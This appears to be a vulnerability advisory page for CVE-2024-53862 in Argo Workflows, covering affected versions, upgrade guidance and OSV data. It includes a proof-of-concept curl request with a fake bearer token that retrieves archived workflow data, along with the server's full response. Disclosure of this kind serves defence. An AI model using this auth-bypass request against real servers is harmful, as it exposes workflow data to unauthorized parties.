CVE-2024-53862: Github.com/argoproj/argo workflows/v3 Access To Archived Argo Workflows Vulnerability

MODERATE
Advisory Identifier: GHSA-h36c-m3rf-34h9
Share
CWE-200
Published
Advisory Summary

CVE-2024-53862 is a MODERATE access to archived argo workflows vulnerability (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) affecting Github.com/argoproj/argo workflows/v3 libraries in the Go ecosystem. The issue involves access to archived argo workflows with fake token in `client` mode. Remediation is available by upgrading affected packages to version 3.5.13, 3.6.2.

CVE-2024-53862 at a Glance

CVE Identifier CVE-2024-53862
GHSA Identifier GHSA-h36c-m3rf-34h9
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Affected Product Github.com/argoproj/argo workflows/v3
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2024-53862

To remediate this vulnerability, upgrade all affected Github.com/argoproj/argo workflows/v3 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/argoproj/argo-workflows/v3 fixed: 3.5.13 
Upgrade github.com/argoproj/argo-workflows/v3 to 3.5.13
github.com/argoproj/argo-workflows/v3 fixed: 3.6.2 
Upgrade github.com/argoproj/argo-workflows/v3 to 3.6.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for github.com/argoproj/argo-workflows/v3

How to Check if You Are Affected

To determine whether your application is affected by CVE-2024-53862, inspect your project dependencies for Github.com/argoproj/argo workflows/v3:

inspect dependencies for github.com/argoproj/argo-workflows/v3

Analyze the terminal output to locate any version of Github.com/argoproj/argo workflows/v3 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.5.13), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor, where the product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. In Github.com/argoproj/argo workflows/v3, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` When using `--auth-mode=sso`, all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}` ### Details No authentication is performed by the Server itself on `client` tokens[^1]. Authentication & authorization is instead delegated to the k8s API server. However, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go) does not interact with k8s, and so any token that [_looks_](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/mode.go#L37) [valid](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L185) will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does [the equivalent of a `kubectl auth can-i`](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go#L50) check for respective methods. In #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on [these lines](https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715), allowing archived workflows to be retrieved with a fake token. ### PoC #### Configuration Controller `ConfigMap`: ```yaml config: | persistence: archive: true postgresql: database: argoworkflows host: db-host passwordSecret: key: postgresPassword name: argo-wf-postgres-credentials port: 5432 tableName: argo_workflows userNameSecret: key: username name: argo-wf-postgres-credentials ``` Server: `--auth-mode=client` #### Reproduction Visit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed. For example, directly query the API and retrieve the workflow data (where `Bearer thisisatest` is not a valid token): ```sh curl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g ``` <details><summary>Results in a returned workflow:</summary> ``` * Host localhost:8000 was resolved. * IPv6: ::1 * IPv4: 127.0.0.1 * Trying [::1]:8000... * Connected to localhost (::1) port 8000 > GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1 > Host: localhost:8000 > User-Agent: curl/8.7.1 > Accept: */* > Authorization: Bearer thisisatest > * Request completely sent off < HTTP/1.1 200 OK < Content-Type: application/json < Grpc-Metadata-Content-Type: application/grpc < X-Ratelimit-Limit: 1000 < X-Ratelimit-Remaining: 999 < X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC < Date: Mon, 19 Aug 2024 20:44:26 GMT < Transfer-Encoding: chunked < * Connection #0 to host localhost left intact { "metadata": { "name": "hello-world-7tv5g", "generateName": "hello-world-", "namespace": "argo", "uid": "e5868ab1-f820-4a9e-9407-162346a4ccb4", "resourceVersion": "9982", "generation": 3, "creationTimestamp": "2024-08-13T23:59:20Z", "labels": { "workflows.argoproj.io/archive-strategy": "false", "workflows.argoproj.io/completed": "true", "workflows.argoproj.io/phase": "Succeeded", "workflows.argoproj.io/workflow-archiving-status": "Persisted" }, "annotations": { "workflows.argoproj.io/description": "This is a simple hello world example.\n", "workflows.argoproj.io/pod-name-format": "v2" }, "managedFields": [ { "manager": "argo", "operation": "Update", "apiVersion": "argoproj.io/v1alpha1", "time": "2024-08-13T23:59:20Z", "fieldsType": "FieldsV1", "fieldsV1": { "f:metadata": { "f:annotations": { ".": {}, "f:workflows.argoproj.io/description": {} }, "f:generateName": {}, "f:labels": { ".": {}, "f:workflows.argoproj.io/archive-strategy": {} } }, "f:spec": {} } }, { "manager": "workflow-controller", "operation": "Update", "apiVersion": "argoproj.io/v1alpha1", "time": "2024-08-13T23:59:30Z", "fieldsType": "FieldsV1", "fieldsV1": { "f:metadata": { "f:annotations": { "f:workflows.argoproj.io/pod-name-format": {} }, "f:labels": { "f:workflows.argoproj.io/completed": {}, "f:workflows.argoproj.io/phase": {}, "f:workflows.argoproj.io/workflow-archiving-status": {} } }, "f:status": {} } } ] }, "spec": { "templates": [ { "name": "hello-world", "inputs": {}, "outputs": {}, "metadata": {}, "container": { "name": "", "image": "busybox", "command": [ "echo" ], "args": [ "hello world" ], "resources": {} } } ], "entrypoint": "hello-world", "arguments": {}, "serviceAccountName": "argo-workflow" }, "status": { "phase": "Succeeded", "startedAt": "2024-08-13T23:59:20Z", "finishedAt": "2024-08-13T23:59:30Z", "progress": "1/1", "nodes": { "hello-world-7tv5g": { "id": "hello-world-7tv5g", "name": "hello-world-7tv5g", "displayName": "hello-world-7tv5g", "type": "Pod", "templateName": "hello-world", "templateScope": "local/hello-world-7tv5g", "phase": "Succeeded", "startedAt": "2024-08-13T23:59:20Z", "finishedAt": "2024-08-13T23:59:24Z", "progress": "1/1", "resourcesDuration": { "cpu": 0, "memory": 3 }, "outputs": { "exitCode": "0" }, "hostNodeName": "kind-control-plane" } }, "conditions": [ { "type": "PodRunning", "status": "False" }, { "type": "Completed", "status": "True" } ], "resourcesDuration": { "cpu": 0, "memory": 3 }, "artifactRepositoryRef": { "default": true, "artifactRepository": {} }, "artifactGCStatus": { "notSpecified": true }, "taskResultsCompletionStatus": { "hello-world-7tv5g": true } } }% ``` </details> ### Impact Users of the Server with `--auth-mode=client` and with `persistence.archive: true` are vulnerable to having Archived Workflows retrieved with a fake or spoofed token. Users of the Server with `--auth-mode=sso` and with `persistence.archive: true` are vulnerable to users being able to access workflows they could not access before archiving. [^1]: `sso` tokens, on the other hand, are [immediately "authorized"](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L207). The naming in the codebase is a bit confusing; it would be more appropriate to say "authenticated" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the `client` tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for `client` tokens via the k8s API server.

CVE-2024-53862 Affected Github.com/argoproj/argo workflows/v3 Versions

2 component(s)
Fixed Versions:
3.5.133.6.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/argoproj/argo-workflows/v3
golang/github.com/argoproj/argo-workflows/v3
Go
≥ 3.5.7
< 3.5.13
3.5.13
github.com/argoproj/argo-workflows/v3
golang/github.com/argoproj/argo-workflows/v3
Go
≥ 3.6.0
< 3.6.2
3.6.2

References

GitHub Advisory / Wiki ADVISORY
https://github.com/argoproj/argo-workflows/security/advisories/GHSA-h36c-m3rf-34h9
NVD — CVE-2024-53862 NVD
https://nvd.nist.gov/vuln/detail/CVE-2024-53862
Github.com/argoproj/argo workflows/v3 Source Repository REPOSITORY
https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715
Github.com/argoproj/argo workflows/v3 Source Repository REPOSITORY
https://github.com/argoproj/argo-workflows

Frequently Asked Questions

What is CVE-2024-53862?
CVE-2024-53862 is a security vulnerability in Github.com/argoproj/argo workflows/v3 involving Access to Archived Argo Workflows with Fake Token in `client` mode under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.
Which Github.com/argoproj/argo workflows/v3 versions are affected?
Affected versions include releases prior to 3.5.13, 3.6.2 across affected packages: github.com/argoproj/argo-workflows/v3.
What version fixes CVE-2024-53862?
Upgrading to 3.5.13, 3.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/argoproj/argo-workflows/v3 affected?
Yes, github.com/argoproj/argo-workflows/v3 is affected in releases prior to 3.5.13, 3.6.2. Upgrade your dependency to 3.5.13, 3.6.2 or later.
What CWE is associated with CVE-2024-53862?
CVE-2024-53862 is classified under CWE-200: Exposure of Sensitive Information to an Unauthorized Actor (The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.).
How can I check Go dependencies for CVE-2024-53862?
Run the dependency tree command: 'inspect dependencies for github.com/argoproj/argo-workflows/v3'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-h36c-m3rf-34h9",
  "modified" : "2024-12-02T22:17:55Z",
  "published" : "2024-12-02T22:17:55Z",
  "aliases" : [ "CVE-2024-53862" ],
  "summary" : "Access to Archived Argo Workflows with Fake Token in `client` mode",
  "details" : "### Summary\n\nWhen using `--auth-mode=client`, Archived Workflows can be retrieved with a fake or spoofed token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`\n\nWhen using `--auth-mode=sso`,  all Archived Workflows can be retrieved with a valid token via the GET Workflow endpoint: `/api/v1/workflows/{namespace}/{name}`\n\n### Details\n\nNo authentication is performed by the Server itself on `client` tokens[^1]. Authentication & authorization is instead delegated to the k8s API server.\nHowever, the [Workflow Archive](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go) does not interact with k8s, and so any token that [_looks_](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/mode.go#L37) [valid](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L185) will be considered authenticated, even if it is not a k8s token or even if the token has no RBAC for Argo. To handle the lack of pass-through k8s authN/authZ, the Workflow Archive specifically does [the equivalent of a `kubectl auth can-i`](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/workflowarchive/archived_workflow_server.go#L50) check for respective methods.\n\nIn #12736 / v3.5.7 and #13021 / v3.5.8, the auth check was accidentally removed on the GET Workflow endpoint's fallback to archived workflows on [these lines](https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715), allowing archived workflows to be retrieved with a fake token.\n\n### PoC\n\n#### Configuration\n\nController `ConfigMap`:\n```yaml\n  config: |\n    persistence:\n      archive: true\n      postgresql:\n        database: argoworkflows\n        host: db-host\n        passwordSecret:\n          key: postgresPassword\n          name: argo-wf-postgres-credentials\n        port: 5432\n        tableName: argo_workflows\n        userNameSecret:\n          key: username\n          name: argo-wf-postgres-credentials\n```\n\nServer: `--auth-mode=client`\n\n#### Reproduction\n\nVisit a completed, archived workflow URL with an invalid authorization token, this results in the workflow being displayed.\n\nFor example, directly query the API and retrieve the workflow data (where `Bearer thisisatest` is not a valid token):\n\n```sh\ncurl -H 'Authorization: Bearer thisisatest' -v http://localhost:8000/api/v1/workflows/argo/hello-world-7tv5g\n```\n\n<details><summary>Results in a returned workflow:</summary>\n\n```\n* Host localhost:8000 was resolved.\n* IPv6: ::1\n* IPv4: 127.0.0.1\n*   Trying [::1]:8000...\n* Connected to localhost (::1) port 8000\n> GET /api/v1/workflows/argo/hello-world-7tv5g HTTP/1.1\n> Host: localhost:8000\n> User-Agent: curl/8.7.1\n> Accept: */*\n> Authorization: Bearer thisisatest\n>\n* Request completely sent off\n< HTTP/1.1 200 OK\n< Content-Type: application/json\n< Grpc-Metadata-Content-Type: application/grpc\n< X-Ratelimit-Limit: 1000\n< X-Ratelimit-Remaining: 999\n< X-Ratelimit-Reset: Mon, 19 Aug 2024 20:44:27 UTC\n< Date: Mon, 19 Aug 2024 20:44:26 GMT\n< Transfer-Encoding: chunked\n<\n* Connection #0 to host localhost left intact\n{\n    \"metadata\": {\n        \"name\": \"hello-world-7tv5g\",\n        \"generateName\": \"hello-world-\",\n        \"namespace\": \"argo\",\n        \"uid\": \"e5868ab1-f820-4a9e-9407-162346a4ccb4\",\n        \"resourceVersion\": \"9982\",\n        \"generation\": 3,\n        \"creationTimestamp\": \"2024-08-13T23:59:20Z\",\n        \"labels\": {\n            \"workflows.argoproj.io/archive-strategy\": \"false\",\n            \"workflows.argoproj.io/completed\": \"true\",\n            \"workflows.argoproj.io/phase\": \"Succeeded\",\n            \"workflows.argoproj.io/workflow-archiving-status\": \"Persisted\"\n        },\n        \"annotations\": {\n            \"workflows.argoproj.io/description\": \"This is a simple hello world example.\\n\",\n            \"workflows.argoproj.io/pod-name-format\": \"v2\"\n        },\n        \"managedFields\": [\n            {\n                \"manager\": \"argo\",\n                \"operation\": \"Update\",\n                \"apiVersion\": \"argoproj.io/v1alpha1\",\n                \"time\": \"2024-08-13T23:59:20Z\",\n                \"fieldsType\": \"FieldsV1\",\n                \"fieldsV1\": {\n                    \"f:metadata\": {\n                        \"f:annotations\": {\n                            \".\": {},\n                            \"f:workflows.argoproj.io/description\": {}\n                        },\n                        \"f:generateName\": {},\n                        \"f:labels\": {\n                            \".\": {},\n                            \"f:workflows.argoproj.io/archive-strategy\": {}\n                        }\n                    },\n                    \"f:spec\": {}\n                }\n            },\n            {\n                \"manager\": \"workflow-controller\",\n                \"operation\": \"Update\",\n                \"apiVersion\": \"argoproj.io/v1alpha1\",\n                \"time\": \"2024-08-13T23:59:30Z\",\n                \"fieldsType\": \"FieldsV1\",\n                \"fieldsV1\": {\n                    \"f:metadata\": {\n                        \"f:annotations\": {\n                            \"f:workflows.argoproj.io/pod-name-format\": {}\n                        },\n                        \"f:labels\": {\n                            \"f:workflows.argoproj.io/completed\": {},\n                            \"f:workflows.argoproj.io/phase\": {},\n                            \"f:workflows.argoproj.io/workflow-archiving-status\": {}\n                        }\n                    },\n                    \"f:status\": {}\n                }\n            }\n        ]\n    },\n    \"spec\": {\n        \"templates\": [\n            {\n                \"name\": \"hello-world\",\n                \"inputs\": {},\n                \"outputs\": {},\n                \"metadata\": {},\n                \"container\": {\n                    \"name\": \"\",\n                    \"image\": \"busybox\",\n                    \"command\": [\n                        \"echo\"\n                    ],\n                    \"args\": [\n                        \"hello world\"\n                    ],\n                    \"resources\": {}\n                }\n            }\n        ],\n        \"entrypoint\": \"hello-world\",\n        \"arguments\": {},\n        \"serviceAccountName\": \"argo-workflow\"\n    },\n    \"status\": {\n        \"phase\": \"Succeeded\",\n        \"startedAt\": \"2024-08-13T23:59:20Z\",\n        \"finishedAt\": \"2024-08-13T23:59:30Z\",\n        \"progress\": \"1/1\",\n        \"nodes\": {\n            \"hello-world-7tv5g\": {\n                \"id\": \"hello-world-7tv5g\",\n                \"name\": \"hello-world-7tv5g\",\n                \"displayName\": \"hello-world-7tv5g\",\n                \"type\": \"Pod\",\n                \"templateName\": \"hello-world\",\n                \"templateScope\": \"local/hello-world-7tv5g\",\n                \"phase\": \"Succeeded\",\n                \"startedAt\": \"2024-08-13T23:59:20Z\",\n                \"finishedAt\": \"2024-08-13T23:59:24Z\",\n                \"progress\": \"1/1\",\n                \"resourcesDuration\": {\n                    \"cpu\": 0,\n                    \"memory\": 3\n                },\n                \"outputs\": {\n                    \"exitCode\": \"0\"\n                },\n                \"hostNodeName\": \"kind-control-plane\"\n            }\n        },\n        \"conditions\": [\n            {\n                \"type\": \"PodRunning\",\n                \"status\": \"False\"\n            },\n            {\n                \"type\": \"Completed\",\n                \"status\": \"True\"\n            }\n        ],\n        \"resourcesDuration\": {\n            \"cpu\": 0,\n            \"memory\": 3\n        },\n        \"artifactRepositoryRef\": {\n            \"default\": true,\n            \"artifactRepository\": {}\n        },\n        \"artifactGCStatus\": {\n            \"notSpecified\": true\n        },\n        \"taskResultsCompletionStatus\": {\n            \"hello-world-7tv5g\": true\n        }\n    }\n}%\n```\n\n</details>\n\n\n### Impact\n\nUsers of the Server with `--auth-mode=client` and with `persistence.archive: true` are vulnerable to having Archived Workflows retrieved with a fake or spoofed token.\n\nUsers of the Server with `--auth-mode=sso` and with `persistence.archive: true` are vulnerable to users being able to access workflows they could not access before archiving.\n\n[^1]: `sso` tokens, on the other hand, are [immediately \"authorized\"](https://github.com/argoproj/argo-workflows/blob/52cca7e079a4f6d76db303ac550b1876e51b3865/server/auth/gatekeeper.go#L207). The naming in the codebase is a bit confusing; it would be more appropriate to say \"authenticated\" in this case, as authorization is via SSO RBAC / SA matching / k8s API server. In this same section of the codebase, the `client` tokens are not authenticated, they are only validated. Authentication and authorization is done simultaneously for `client` tokens via the k8s API server.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.5.7"
      }, {
        "fixed" : "3.5.13"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.6.0"
      }, {
        "fixed" : "3.6.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-h36c-m3rf-34h9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-53862"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/pull/13021/files#diff-a5b255abaceddc9cc20bf6da6ae92c3a5d3605d94366af503ed754c079a1171aL668-R715"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-workflows"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-12-02T22:17:55Z",
    "nvd_published_at" : "2024-12-02T16:15:14Z"
  }
}